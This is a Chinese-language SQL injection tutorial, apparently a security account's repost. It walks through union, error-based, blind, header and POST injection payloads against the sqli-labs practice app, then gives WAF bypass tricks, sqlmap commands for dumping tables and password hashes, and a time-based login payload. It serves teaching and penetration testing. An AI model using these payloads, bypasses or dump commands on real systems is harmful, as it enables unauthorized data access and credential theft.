更多干货POC获取,请关注公众号:如棠安全
目录
前言:
mysql 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)这个数据库是存储所有数据库名,表名,列名,相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。
数据库中"."代表下一级,如haha.user表示haha数据库下的user表名
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
information_schema.schemata 记录所有数据库信息的表
table_schema 数据库名
table_name 表名
column_name 列名
group_concat() 显示所有查询到的数据 --------------------()此括号内可以加上数据库名、表名、列名
SQL注入步骤
判断类型》对其进行闭合》获取数据库名》获取数据库表名》获取数据库列名》获取数据库字段。
联合查询:
(1)联合查询基本概念
联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上能够有回显位。
回显位就是客户端将数据展示在页面中,这个展示数据的位置就叫回显位。
(2)联合查询步骤
判断注入点》判断注入类型(数字型或字符型)》判断字段数》判断显示位》确定数据库名》确定数据库的表名》确定数据库的列名》确定数据库的字段名》获取数据。
判断注入点:
1、数字型
输入?id=1 正常;
输入?id=1' 报错;
如果是以上情况的话我们就判断可能存在sql数字型注入漏洞。(因为我们输入的错误字符单引号,系统没有过滤并且将它执行了。)
2、字符型
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常
再通过干扰字符来判断 ?id=1’ and 1=2--+ 不正常
如果是以上结果的话判断就为sql字符型注入漏洞。
判断字段数:
输入order by 2 会查询出数据结果。但是输入order by 3 会报错。这说明该表中存在两个字段。
http://192.168.10.150/sqlilabs/Less-1/?id=1' order by 4--+
判断回显点:
输入1 union select 1,2 会返回
字符型:
输入-1' union select 1,2,3....n(n为字段数) 如下图所示:回显位是2和3
获取数据库名称和版本号:
数据库名为security 版本大于5所以存在information_schema表
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,database(),version()--+
确认数据库里的表名
查到表名为emails,referers,uagents,users
http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
确认user表里的字段名(列名)
http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
获取数据
我们获取到了数据
http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
报错盲注
(1)报错盲注基本概念
1)报错盲注的定义
报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。
2)报错盲注的前提
页面没有回显点,但是必须SQL语句能够执行错误的信息。
优点:不需要显示位。
缺点:需要有SQL语句的报错信息。
(2)报错盲注步骤
构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句。
(3)常用报错函数
Floor、updatexml、extractvalue…等等。
(4)常用报错函数使用语法
1)Updatexml()函数报错注入
Updatexml()则负责修改查询到的内容
语法:updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,XML的内容。
第二个参数:XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
第三个参数:new_value,String格式,更新后的内容
2)extractvalue()函数报错注入
extractvalue()函数作用:MYSQL对XML文档数据进行查询的XPATH函数。
语法: extractvalue(xml_document, xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string (xpath格式的字符串)
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误
判断注入点
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常
再通过干扰字符来判断 ?id=1’ and 1=2--+ 不正常
如果是以上结果的话判断就为sql字符型注入漏洞。
判断是否存在报错注入
(由于页面没有回显的地方,所以我们就直接判断是否是报错注入)
运用updatexml函数构建基本的语句对页面进行测试是否存在报错注入。
http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,'~',3)--+
确定数据库名
看到返回~符号后,说明存在报错注入漏洞。我们再获取数据库名。
http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),3)--+
确定数据库的表名
把concat中database()换成正常的查询sql语句就可以了,和联合查询语句如出一辙。
http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+
确定数据库列名
查看user表数据库的列名
http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+
确定数据库信息
可以通过limit来进行翻页查看
http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3)--+ http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3)--+
布尔盲注
布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。
布尔盲注步骤
求数据库名的长度及ASCII》求当前数据库表的ASCII》求当前数据库表中的个数》求数据库中表名的长度》求数据库中表名》求列名的数量》求列名的长度》求列名的ASCII》求字段的数量》求字段的长度》求字段内容ASCII
(3)常用布尔函数使用语法
1)substr()截取函数
语法:substr(str,start,length)
第一个参数str为被截取的字符串。
第二个参数start为开始截取的位置。
第三个参数length为截取的长度。
如:substr(user(),1,1),从user中返回的数据的第一位开始偏移位置截取一位,后续需要获取其他的数据只需要修改参数即可。
2)left()截取函数
语法:left(str,length)
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
如:left(user(),2),从user中返回的数据中截取前两位。
3)right()截取函数
语法:rigth(user(),2)
参考left()函数用法。
4)ascii()转换函数
语法:ascii(char)
第一个参数char为一个字符。
如:ascii(user())若char为一串字符串,则返回的结果将是第一个字母的ASCII码,通常在使用中结合substr函数结合使用。Ascii(substr(user()1,1)),这样就可以获取user()中第一位字符的ASCII码。
5)length()计算函数
语法:length(str)
第一个参数str为字符串。
如:length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来。
6)ord()转换函数
语法:ord(str)
参考ascii()函数用法。
如果存在没写到的函数,但是使用了,可以自行搜索。
判断注入点
?id=1 and 1=1–+ 正常
?id=1 and 1=2–+ 正常
到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。
?id=1’ and 1=2–+ 不正常
判断此为字符型
猜测数据库版本号
数据库版本是5.6.17,这里的语句意思就是测试数据库版本第一位是不是5,通过返回的结果显示是对的。若不是5则页面返回错误,若是5则页面返回正确。
http://192.168.10.150/sqlilabs/Less-5/?id=1' and left (version(),1)=5--+
时间盲注
基本概念
时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长。
时间盲注基本步骤
其实这里的基本步骤和布尔盲注都差不多,只不过是通过页面的响应时间来进行判断。
常用盲注函数
1)if()比较函数
语法:if(cond,ture_result,False_result)
第一个参数cond为判断条件。
第二个参数ture_result为真时的返回结果。
第三个参数false_result为假时的返回结果。
如:?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果。
2)sleep()睡眠函数
语法:sleep(N)
第一个参数N是睡眠的时间
如:if (ascii(substr(user(),1,1))=114,sleep(5),2)
这样的话,如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
如果存在没写到的函数,但是使用了,可以自行搜索。
判断是否存在时间盲注
先判断正常访问页面需要的时间,再写入payload后页面响应的时间。F12-----网络
防止网络因素造成的误判
http://192.168.10.150/sqlilabs/Less-8/?id=1' and sleep(5)--+
猜测数据库名长度
sleep(5),1 代表如果正确了等待5秒加载页面,错误了就秒加载页面
http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length(database())=8,sleep(5),1)--+
HTTP头部注入
HTTP头部注入基本概念
1)HTTP头部注入原理
后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
2)常见HTTP头部注入类型
Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据。
User-agent:使服务器能够识别客户端使用的操作系统,浏览器版本等。
Referer:浏览器向web服务器表名自己是从哪个页面过来的。
X-forwarded-for:简称xff头,它代表客户端(即http的请求端)真实IP。
3)头部注入的前提
能够对请求头消息进行修改,修改请求头信息能够带入数据库执行,数据库没有对输入的请求头做过滤。
判断注入点
登录后发现有显示http头部User-agent信息。
判断是否存在报错
可以通过burp抓包来修改User-agent值。
输入'单引号后发现有报错,即使用报错注入进行注入
使用报错语句进行测试
步骤基本与报错注入一致
User-Agent: 'and updatexml(1,0x7e,3)and '1'='1
确认数据库名
User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and '
确认数据库版本号
User-Agent: 'and updatexml(1,concat(0x7e,version()),3) and '
确认数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '
确认数据库列名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '
拿取数据
User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '
POST注入
(1)post注入基本概念
1)post注入原理
数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。
2)post注入前提
用户能够控制输入,原本程序要执行的代码,拼接了用户输入的数据。
3)post注入高危点
登录框、查询框、等各种和数据库有交互的框。
(2)post注入思路
在 post 过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的 sql 语句,那么我们是否可以像 get 型的一样构造我们想要的 payload 呢?
判断注入点
输入:用户名:admin’ and 1=1#
密码:随便输入 登录成功
判断字段数
uname=admin' order by 3#
判断回显点
注意前面要加个-
uname=-admin' union select 1,2#
确定数据库名
当然这里有时候用不了联合查询,可以使用报错、布尔等方式进行注入。
uname=-admin' union select database(),2#
WAF绕过
(1)WAF原理
1)WAF原理
WAF(web application firewall)web应用防火墙,它工作在OSI模型的第七层,也就是我们所熟知的应用层,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。
2)WAF分类
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
3)WAF工作过程
解析HTTP请求》匹配规则》防御动作》记录日志
2.常见过滤
(1)空格过滤绕过
① 两个空格代替一个
② 用TAB代替空格
③ %a0=空格
④ 若括号没被过滤可以使用括号进行过滤
⑤ %0B绕过
(2)or或and过滤绕过
① 大小写变形Or,OR,oR
② 编码
③ 添加注释/or/
④ 利用符号 and=&&,or=||
⑤ 双写and=anandd,or=oorr
(3)#或–+过滤绕过
① 单引号闭合需要在后面增加一个单引号即可
② 双引号闭合需要在后面注入语句后面增加一个双引号
③ (‘’)单引号加括号这种需要多加一个or (‘’)=('1
④ (“”)双引号加括号这种需要多加一个or (“”)=("1
⑤ or ‘1’=’1进行闭合。
(4)union,select等关键字过滤绕过
① 大小写绕过uNIon,sEeCt
② 双写绕过uniunionon,selselctct
③ 注释符绕过U/**/nion
④ 内联注释/!union/
⑤ 编码绕过
(5)等号过滤绕过
① 大于号小于号替代等号
② like绕过
(6)函数过滤绕过
① 同功能函数替换mid()替换substring()
② 各类编码绕过
当然还存在很多的绕过方式,可能还存在很多奇奇怪怪的绕过姿势,这里就总结一下常见的。
sqlmap工具常用参数
命令:sqlmap -r 55.txt -batch
#通过抓包保存为txt文件,然后通过sqlmap软件进行扫描
命令:Sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1"
#探测该页面是否存在漏洞。
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --cookie="抓取的cookie"
#当网站需要登录时,探测该页面是否存在漏洞。
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --data="username=admin&password=admin&submit=submit"
#抓取其post提交的数据填入
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#一键脱库命令
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs
#爆出所有的数据库
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --tables
#爆出所有的数据表
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --columns
#爆出数据库中所有的列
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-db
#查看当前的数据库
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables
#爆出数据库security中的所有的表
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns
#爆出security数据库中users表中的所有的列
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump
#爆出数据库security中的users表中的username列中的所有数据
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100
#爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --dump-all
#爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --dump-all
#爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --users
#查看数据库的所有用户
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --passwords
#查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump
当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump
当MySQL>= 5.7时
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-user
#查看数据库当前的用户
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --is-dba
#判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --roles
#列出数据库所有管理员角色,仅适用于oracle数据库的时候
手测sql注入漏洞技巧
账号密码登陆处,测试延时注入
POST /Login/ToLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Admins_Account=1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='JYpL&Admins_Pwd=
#Pauload为1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='JYpL
-------------------------------------------------------------------------------------------